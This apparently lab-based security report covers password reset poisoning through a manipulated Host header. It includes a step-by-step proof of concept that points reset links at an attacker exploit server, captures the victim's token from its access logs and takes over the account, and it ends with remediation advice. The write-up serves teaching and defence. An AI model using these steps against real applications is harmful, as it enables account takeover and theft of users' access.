Basic password reset poisoning(http host header)

Executive Summary:

This report details the discovery of a **Password Reset Poisoning** vulnerability in the target application. The vulnerability allows an attacker to manipulate the Host header during the password reset process to exfiltrate the password reset token for another user. This flaw was exploited to gain unauthorized access to the account of the user. The issue is rated **High** severity due to its potential for account compromise.

Introduction:

The goal of this assessment was to evaluate the security of the password reset functionality within the application. The test focused on how the application constructs reset links and handles untrusted input such as HTTP headers.

Methodology:

1. Used **Burp Suite** to intercept HTTP requests and responses.

2. Tested the “Forgot your password?” feature by requesting a password reset for a legitimate user account.

3. Analyzed the reset email and the structure of the reset URL.

4. Modified the `Host` header in the password reset request to point to a controlled domain (exploit server).

5. Observed the poisoned link being sent to the victim and extracted the reset token from server access logs.

6. Reconstructed the password reset link using the captured token to reset the victim’s password and gain access.

Vulnerability Findings:

- **Type:** Password Reset Poisoning (Host Header Injection)

- **Location:** POST `/forgot-password` endpoint

- **Severity:** High

Description:

The application constructed password reset links using the value of the `Host` header provided by the client. This allows an attacker to manipulate the destination of the reset link. Since the user automatically clicks on any links in received emails, this behaviour can be abused to capture his reset token by directing it to the attacker's exploit server.

Proof of Concept (PoC):

1. Request a password reset for `wiener` and inspect the email to understand the reset URL format.

2. Intercept the password reset request in Burp and modify the Host header:

‘pgsql'

‘copyEdit’

`Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net`

Replace the username with victim’s username.

3. Wait for victim to click the poisoned link; capture the reset token in the access log:

‘bash’

‘CopyEdit’

`/forgot-password?temp-forgot-password-token=abc123...`

4. Visit the original reset URL from step 1, replacing the token with the captured one.

5. Reset victim’s password and log in using the new credentials.

Impact Assessment:

This vulnerability allowed attackers to fully compromise any user account, leading to:

- Unauthorized access to private data

- Identity theft and privilege escalation

- Loss of user trust and potential regulatory penalties

Recommendations:

1. Do not trust client-supplied headers such as `Host` when generating password reset links.

2. Use server-side configuration or hardcoded trusted domain names to build absolute URLs in emails.

3. Implement strict validation on the origin of requests that trigger sensitive operations like password resets.

4. Monitor and alert on unusual patterns of reset link generation or usage.

Conclusion:

The Password Reset Poisoning vulnerability demonstrates a critical oversight in how the application generates links using unvalidated headers. Immediate remediation is essential to prevent unauthorized access and protect user accounts from compromise.